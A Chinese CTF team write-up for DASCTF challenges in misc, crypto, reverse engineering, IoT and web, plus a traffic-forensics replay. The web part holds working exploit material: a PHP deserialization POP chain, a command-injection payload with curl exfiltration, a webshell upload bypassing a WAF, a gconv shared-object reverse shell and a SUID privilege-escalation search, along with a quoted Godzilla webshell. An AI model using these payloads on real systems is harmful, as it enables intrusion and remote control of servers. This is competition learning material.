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Misc

月圆之夜 [mumuzi]

提交除DASCTF以外的，小写,有的没看出来就写的?，然后看明文能直接猜出来是什么字母

welcometothefullmoonnight



什么奇奇怪怪的东西 [mumuzi]

mrf拓展名，macro recorder打开，鼠标键盘的记录

发现是纯鼠标记录，打开一个画图然后play此记录

得到密码，解压

hint说flag.zip为干扰项，固不再查看

vhd直接能解压，有4个隐藏文件分别对应flag1,2,3,4



打开flag1就能很明显看到malbolge的特征，猜想需要拼接

flag1直接打开就有

flag2直接打开就有

flag3改zip解压缩之后在/xl/sharedStrings.xml中

flag4用010查看发现文件尾有额外数据并且正好是png的hex倒过来，写个脚本

f = open('ZmxhZzQK.png','rb').read()
f1 = open('flag.png','w')
flag = ''
for i in f:
    flag += str(hex(i)[2:].zfill(2))
flag = flag[::-1]
f1.write(flag)

然后notepad++ hex一下，得到一张二维码，扫描得到第四段

最后拼起来解密

Hi!Hecker! [mumuzi,dota_st]

一打开就是icmp流量，而且是从25开始。对protocol分一下类，发现http里面没东西了之后，tcp也就没啥看头了，继续看icmp



过滤一下 icmp && icmp.type == 8

排一下大小，发现有个600字节的

序号是8，在流量包按时间排序的时候25之前

过滤一下 icmp && icmp.type == 8 && icmp.seq < 9

很明显了，tshark提取一下

.\tshark.exe -r .\DASCTF.pcapng -T fields -e data.data -Y "icmp.seq<9 && icmp.type == 8" > DAS.txt



开头相同部分删掉。末尾一堆1337133711333377删掉，然后还是用notepad++的hex功能转一下，即可得到一个压缩包
jenkins_secret

这种关键词应该是给出key、secret直接用工具解的，谷歌搜一下：https://github.com/hoto/jenkins-credentials-decryptor

可以说是一模一样，那么用给出的命令去解密

https://github.com/hoto/jenkins-credentials-decryptor


github的一串sshkeys，用git解析一下

是直接指向了一个库，直接去访问是404，应该是私密库，使用私钥去链接下载

剩下我对git操作不是很会，后面基本是南神一个人搞了



下载下来之后没有东西，去看其他版本的commit，最后发现在这里面

DASCTF{Oh!_H4ck_f0r_c0d3s-and_4buse_1t}

问卷

填了，拿了，交了

Crypto



FlowerCipher [mumuzi,Lu1u]

重点在于如何求出上一次的L的值，只要求出L的值之后直接开方，flower不会有影响

然后我没咋看懂怎么求，然后lulu哥告诉我L%R就是上一次L的值

他们都是要拿一血的，这种小事还是我来就好了

既然有办法求到上一次L的值，那么这道题就直接能解了

import gmpy2
L = 157201972689453483884294293513030069253873889272923047175945112593901941008508898527476533871972053924310530
69043632340374252629529419776874410817927770922310808632581666181899
R = 139721425176294317602347104909475448503147767726747922243703132013053043430193232376860554749633894589164137
720010858254771905261753520854314908256431590570426632742469003
flag = ''
while L != 1:
    s = L%R
    tmp = (L-R)//R
    flag_b = gmpy2.iroot(tmp,3)[0]
    flag += chr(flag_b)
    L = R
    R = s

print('flag{'+flag[::-1]+'}')

flag{3e807b66ef26d38e671ddcbb9c108250}

Re

easyre[Lu1u]

程序加花了，并且是有自修改的，直接运行后attach。

import idaapi
adr=0x00401000
size=0x25000
end=adr+size
while adr<end:
    idaapi.create_insn(adr)
    insn=idaapi.insn_t()
    len=idaapi.decode_insn(insn,adr)
    adr+=len
print('ok')

将程序代码段批量定义为函数,发现是魔改的RC4，秘钥是123456，直接复制出去c执行即可。

int __cdecl sub_401771(int a1)
{
  int v2[50]; // [esp+1Ch] [ebp-DCh] BYREF
  int v3; // [esp+E4h] [ebp-14h]



  int j; // [esp+E8h] [ebp-10h]
  int i; // [esp+ECh] [ebp-Ch]

  v3 = sub_41A038(a1);
  RC4_Init();
  sub_40152B();                                 // 初始化t盒
  sub_401593();
  sub_401619(a1, v3);
  for ( i = 0; i < v3; ++i )
    byte_492A60[i] = (LOBYTE(key_stream[i]) ^ *(_BYTE *)(i + a1)) + 71;
  memset(v2, 0, sizeof(v2));
  v2[0] = 0xFFFFFFC3;
  v2[1] = 0xFFFFFF80;
  v2[2] = 0xFFFFFFD5;
  v2[3] = 0xFFFFFFF2;
  v2[4] = 0xFFFFFF9B;
  v2[5] = 0x30;
  v2[6] = 0xB;
  v2[7] = 0xFFFFFFB4;
  v2[8] = 0x55;
  v2[9] = 0xFFFFFFDE;
  v2[10] = 0x22;
  v2[11] = 0xFFFFFF83;
  v2[12] = 0x2F;
  v2[13] = 0xFFFFFF97;
  v2[14] = 0xFFFFFFB8;
  v2[15] = 0x20;
  v2[16] = 0x1D;
  v2[17] = 0x74;
  v2[18] = 0xFFFFFFD1;
  v2[19] = 1;
  v2[20] = 0x73;
  v2[21] = 0x1A;
  v2[22] = 0xFFFFFFB2;
  v2[23] = 0xFFFFFFC8;
  v2[24] = 0xFFFFFFC5;
  v2[25] = 0x74;
  v2[26] = 0xFFFFFFC0;
  v2[27] = 91;
  v2[28] = 0xFFFFFFF7;
  v2[29] = 0xF;
  v2[30] = 0xFFFFFFD3;
  v2[31] = 1;
  v2[32] = 85;
  v2[33] = 0xFFFFFFB2;
  v2[34] = 0xFFFFFFA4;
  v2[35] = 0xFFFFFFAE;
  v2[36] = 0x7B;
  v2[37] = 0xFFFFFFAC;
  v2[38] = 0x5C;
  v2[39] = 0x56;
  v2[40] = 0xFFFFFFBC;
  v2[41] = 0x23;
  for ( j = 0; j <= 41; ++j )
  {
    if ( v2[j] != byte_492A60[j] )
      sub_41A060(0);
  }
  return sub_47BAB0(off_488140, aRight);



exp

#include<iostream>
using namespace std;
#include<iostream>
int s[256];
char t[256];
int k[50];
void swap(int* a, int* b) {
 uint8_t tmp;
 tmp = *a;
 *a = *b;
 *b = tmp;
}

void Rc4_Init(uint8_t* key, uint32_t klen) {
 int i, j;
 for (i = 0; i < 256; i++) {
  s[i] = i;
  t[i] = key[i % klen];
 }
 j = 0;
 for (i = 0; i < 256; i++) {
  j = (j + s[i] + t[i]) % 256;
  swap(&s[i], &s[j]);
 }
}

void __cdecl sub_401619()
{
 int v3; // [esp+10h] [ebp-10h]
 int v4; // [esp+14h] [ebp-Ch]
 int v5; // [esp+18h] [ebp-8h]
 int i; // [esp+1Ch] [ebp-4h]
 int a2 = 42;
 v4 = 0;
 v5 = 0;
 for (i = 0; a2--; k[v4++] = s[(s[v5] + s[i]) % 256])
 {
  i = (i + 1) % 256;
  v5 = (v5 + s[i]) % 256;
  v3 = s[i] + 66;
  s[i] = s[v5] - 33;
  s[i] ^= 2u;
  s[v5] = 5 * v3;
  s[v5] = s[i] - 10;
  s[v5] += s[i];
  s[i] -= 18;
 }
}
int main() {
 uint8_t v2[42];
 uint8_t ket[7] = {49,50,51,52,53,54};
 Rc4_Init(ket, 6);
 sub_401619();
 v2[0] = -61;
 v2[1] = -128;
 v2[2] = -43;
 v2[3] = -14;
 v2[4] = -101;



 v2[4] = -101;
 v2[5] = 48;
 v2[6] = 11;
 v2[7] = -76;
 v2[8] = 85;
 v2[9] = -34;
 v2[10] = 34;
 v2[11] = -125;
 v2[12] = 47;
 v2[13] = -105;
 v2[14] = -72;
 v2[15] = 32;
 v2[16] = 29;
 v2[17] = 116;
 v2[18] = -47;
 v2[19] = 1;
 v2[20] = 115;
 v2[21] = 26;
 v2[22] = -78;
 v2[23] = -56;
 v2[24] = -59;
 v2[25] = 116;
 v2[26] = -64;
 v2[27] = 91;
 v2[28] = -9;
 v2[29] = 15;
 v2[30] = -45;
 v2[31] = 1;
 v2[32] = 85;
 v2[33] = -78;
 v2[34] = -92;
 v2[35] = -82;
 v2[36] = 123;
 v2[37] = -84;
 v2[38] = 92;
 v2[39] = 86;
 v2[40] = -68;
 v2[41] = 35;
 for (int i = 0; i < 42; i++)
  v2[i] = ((v2[i] - 71) ^ (k[i] & 0xff));
 return 0;
}
#DASCTF{Welc0me-t0-j01n-SU-l0ve-suyug1eg1e}

IoT

What’s In The Bits[Lu1u,dota_st,mumuzi]

第一部分IoT分析是uu哥做的

.sr后缀文件，搜索需要用到sigrok系列工具对捕获的消息进行解码，windows下 PluseViews工具即可。

用工具打开，对比常见的协议类型，发现是UART协议。



并且主要是在D3和D1有数据，解码器选uart，波特率默认为115200，选择D3为UART:RX,并且格式选为ASCII，一开始得到的数
据还是乱码，修改一下参数发现明文数据。

如下，后面还有一个压缩包和提示。



不过D1也是有数据的，和D3进行同样的uart解码，拿到第一段flag，缩小后这些线都是有数据的。

uu哥就做到这里了

提取出来之后是这样的



写个脚本提取一下

f = open('dump.txt','r').readlines()
f1 = open('flag.zip','w+')
for i in range(len(f)):
    s = f[i][33:-1]
    if(len(s) == 1):
        f1.write(str(hex(ord(s))[2:].zfill(2)))
    else:
        # print(s)
        f1.write(s[1:3])

提取出来前4个是]，删掉然后剩下的用notepad++的hex转换一下，得到zip文件

然后文件尾有一段话：

maybe you can take a little glance. Do you remember the domain of our CTF team? Just use your ed25519 ssh public key to sign it with
HMAC-SHA512 and you can open the file.By the way, the first part of the secret is DASCTF{  + something you know



然后下面获取密码的部分是南神（dotast）做的

只能说这里没翻译懂去问了管理的，管理说ssh public文件在github上

我说呢，怎么一下就来一句use your ed25519 ssh public

根据开头的是MiaoTony和github，去下载ssh文件：https://github.com/MiaoTony.keys

然后用在线的网站

使用HMAC-sha512
https://1024tools.com/hmac
消息填：team-su.github.io
算法：sha512
秘钥：ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEwQmg2Gcp3bBYyJ6NezkW1j1lhjNBW7LTG6wlTHAzk

得到压缩包密

码： 52bb6ab1fac1fda6a2593718cdabb530071e82592d651a5a19a0ea670e8a810c184ab9e4378d847fbd35ba1adc521d940bc09d1d90e

c1b4a3da6a9e1b21607a0

这里别用寄吧360压缩，360好像是有上限？一直解不开，换一个就开了

解出来，是一张图片，LSB有另一张图片，分离出来得到part2

part1在之前的图上面

feedca75

拼起来

feedca75-d82e-473b-af91-8c474e41d0

Web

ezpop[atao]

给了源码，POP链如下

https://github.com/MiaoTony.keys


fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag

然后这里 eval函数里虽然加了注释符，但是可以直接通过换行符做一个绕过



<?php
class crow
{
    public $v1;
    public $v2;

    public function __construct($v1)
    {
        $this->v1 = $v1;
    }
}

class fin
{
    public $f1;

    public function __construct($f1)
    {
        $this->f1 = $f1;
    }
}

class what
{
    public $a;

    public function __construct($a)
    {
        $this->a = $a;
    }
}
class mix
{
    public $m1;

    public function __construct($m1)
    {
        $this->m1 = $m1;
    }

}

$f = new mix("\nsystem('cat *');");
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));



calc[atao]

这题给出了源代码，看到WAF过滤了小括号，感觉没办法执行函数，从而放弃 eval()函数为切入点，转而看起 os.system()函

数

WAF中并没有过滤反引号，已知Linux中反引号是可以执行命令的，这里就可以直接利用了

`ls`

但是这样在 eval中就会报错，导致不会执行 os.system，后来想到利用Python中的注释符把反引号的内容注释了，最后Payload

123#`ls`

最后利用 curl把 tmp/log.txt中的内容外带出来即可

upgdstore(赛后)[atao]

开局任意上传文件的功能，不过存在waf。可以上传 <?php phpinfo();?>的内容，查看 php的信息，这里 disable_function直

接拉满了。这里可以用 show_source函数读取 index.php，不过有WAF做了过滤，这里可以用base64进行修饰绕
过 base64_decode("c2hvd19zb3VyY2U=")



#index.php
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计，传个火？！
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","fil
e","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_
exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbypo
rt", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶，被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;

        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

这里用的检测函数是 strstr()对大小写敏感，则这里直接用大小写进行绕过

接着进行Getshell，先上传第一个文件 PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+ (base64后一句话木马)，接着上传第二个文件利
用 Include + php://filter伪协议的方式绕过WAF，内容如下

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1mM2I5NGU4OGJkMWJkMzI1YWY
2ZjYyODI4Yzg3ODVkZC5waHA="));?>



现在访问第二个文件即可执行任意代码了

通过 move_uploaded_file()函数上传 exp.so和 gconv-modules，实现bypass disable_functions

exp.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}

编译成so文件

gcc exp.c -o exp.so -shared -fPIC

gconv-modules

module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

利用下面的Payload进行触发(这边建议进行URL编码)

putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

拿到shell后查看根目录下 flag的权限，只要root可读，需要提权

搜了最近爆出的提权都不行，查看 SUID的命令

find / -user root -perm -4000 -print 2>/dev/null

这里有 nl命令可以使用



Mumuziの复现

参考雪姐姐wp

Au5t1n的秘密



当时只分析到了xor解密，没注意到里面有一个php还带了一部分混淆。
流量分析，首先ping主机查看是否能够通信
过后一直发SYN是在扫描端口
扫描完毕之后开始扫目录

然后不知道怎么的就找到漏洞点，上传文件

解一下这串base



<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='093c1c388069b7e1';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
  eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (stripos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

发现是哥斯拉的马子，采用的加密方式是异或，这里上传的是didi.php，因此在http处导出didi。
然后根据加密方式来解密

key = '093c1c388069b7e1'
f = open('didi(2).php','rb').read()
for i in range(len(f)):
    print(chr(f[i] ^ ord(key[i+1&15])),end='')

发现有一个很大的didi，解一下，是一个php文件



关键点如图，然后执行了一个gzencode($result,6)，导致最后return的result和哥斯拉直接解密的result是不一样的，因此在后面的
恢复过程中必须加上这个。否则后面一大串都是乱码。

然后flag是在第2079流里

因为要用到gzencode，所以要用php

<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$key = '093c1c388069b7e1';
$data = 'JrhrMWMzODgwNnKp+yzEe/V+BmMGU1joHxkWZdbHzcwrzoftAY7cxGzLbZ/z8e38Bc7XradHhZL8tA3CudX1rOtnxaYjHjnm/Bobbrs
l57NE9kJv7pW1HnCAP3JEZQBodnom+Oa9VxHxsQvwe+eHxRGsDsgXX/kE342APGVWZM51C80lwh+VYUoRSCt0GVFH7swmrIR5sydtIjeSUQGDV/l
W1TtgNxB4Wa50Pmd0dzYwtSw/IdhvYu9WvbPVSfNjeEfjBkgofDUTdS3yMQRItrv3gdORz5ostfpb5+txYj3Oz/ebr6+kfEWz1bZ9KLfs7aHvzXd
DaEkx465004EWloEyoDNjt1ohhnQ4Yjc=';
$decode = encode(base64_decode($data),$key);
$flag = base64_encode(gzdecode($decode));
echo $flag;



得到一串base64用解出来就行，linux直接解

在前面的某一个流量中，上传了一个key
内容为 key is key1***，然后又说是哥斯拉的key，因此只要对上就可以了



import hashlib
import string
import itertools
table = string.printable
key = '093c1c388069b7e1'
for i in itertools.product(table, repeat = 3):
    passwd = 'key1' + ''.join(i)
    m = hashlib.md5(passwd.encode()).hexdigest()
    if(key in m):
        print(m,passwd)

得到 093c1c388069b7e18bb4e898fc5ee049 key1sme

密码则为 093c1c388069b7e18bb4e898fc5ee049

得到flag

DASCTF{7d1ef2e35d01942317131fdad088bf5b}

书鱼的秘密

解压出来是两个文件，一个txt一个wav

书鱼很久之前就把他的女神照片嵌在这音频里面了,
这样书鱼每次听到这首歌的时候就能通过捕获其图片数据来看到他女神了

你看,她在随着音乐而翩翩起舞,多么美丽,书鱼又露出了他痴汉似的笑容
(233
不过在图片里面,似乎又藏着书鱼更深处的密码
亲爱的CTFer,
来吧,快来找到书鱼的秘密!
这样你就能拿到你最爱的flag了



这里的233正好也是给出的提示，这里的233指的是16进制，因此搜e9

可以发现，每个之间都间隔了10个字节
这里立马就想到了b站up主 偶尔有点小迷糊的视频：
『整活』建议改成：话 里 有 “画”

因此写个脚本来提取，异或233后是一个倒过来的png，因此再倒一次

f = open('书鱼的多重文件.wav','rb').read()[158:]
data = bytearray()

for i in range(len(f)//10):
    data += (f[i*10]^233).to_bytes(1,byteorder='little')

fs = open('out.png','wb')
fs.write(data[::-1])
fs.close()

https://www.bilibili.com/video/BV1NF411i7Zh


b通道存在异常，全选得到一个压缩包
得到书鱼的回忆 .md

既然你这么懂文件,那么你也一定会很懂书鱼吧
书鱼说:如果你想拿到我的血,那么你必须通过我的考验,除了要懂文件还必须要找到我很久之前储存在老手机里的手机号哦。由于年代久远,那
部手机里面的内容都被清空了,只有备忘录里留下了许多奇怪的内容,似乎当时是怕自己忘记女神的手机号而特定设定的,此时我再看着这些内
容,过去对女神的美好记忆又突然袭来。那年那月那日那夜,我是多么思恋着她,但最终还是明白了她只是我望之而却的白月光。随着时间的推
移,我似乎很久没有想起她了,但今天再度看着那青春年少时记录下来的内容,我突然又想起了她。此时,水星记突然萦绕在我的耳畔:
怎么可以 拥有你
还要多远才能进入你的心~
还要多久才能和你接近~
但似乎这些都已经成为了过去,沉默良久,我只是轻轻的叹了一口气:打CTF要什么女朋友。还是让我们来解出我过去存的这个电话号码吧



226232 1
23442647826 1
528842 3
5893626874 3
46342 2
6443742 1
473323 2
24462 1-2
6626 2
35426884 3
3782867425 484632 2
2654842 3
2376832 0-3
52726 1

我似乎已经知道了我当初是用什么方法存的这个电话号码了,虽然存错了,但是它陪了我渡过了整个青春。已经都无所谓了~

flag为DASCTF{md5(电话号码)}
然后去查看国际的手机电话号码

https://www.chenweiliang.com/cwl-1354.html
前面的数字能得到一堆地区，对应能得到其区号（9键）

canada 1 -1
afghanistan 1 -93
latvia 3 -371
luxembourg 3 -352
india 2 -91
nigeria 1 -234
greece 2 -30
china 1-2 -86
oman 2 -968
djibouti 3 -253
equatorial guinea 2 -240
bolivia 3 -591
beermuda 0-3 -440
japan 1 -81

前面的数字是指要提取哪些部分，最后得到 1912120866341-4408

然后复现时提到，出题人在最后多加了个空格，所以最后的md5值是 b80ddea112953c5f56fad46758d21ba8

老实说，这里提手机号我很懵

得到flag

b80ddea112953c5f56fad46758d21ba8

嗯最后手机号这里真不怎么懂 但是总不能做一半（而且交不了flag验证）
可以去看雪姐姐博客www.snowywar.top

https://www.chenweiliang.com/cwl-1354.html
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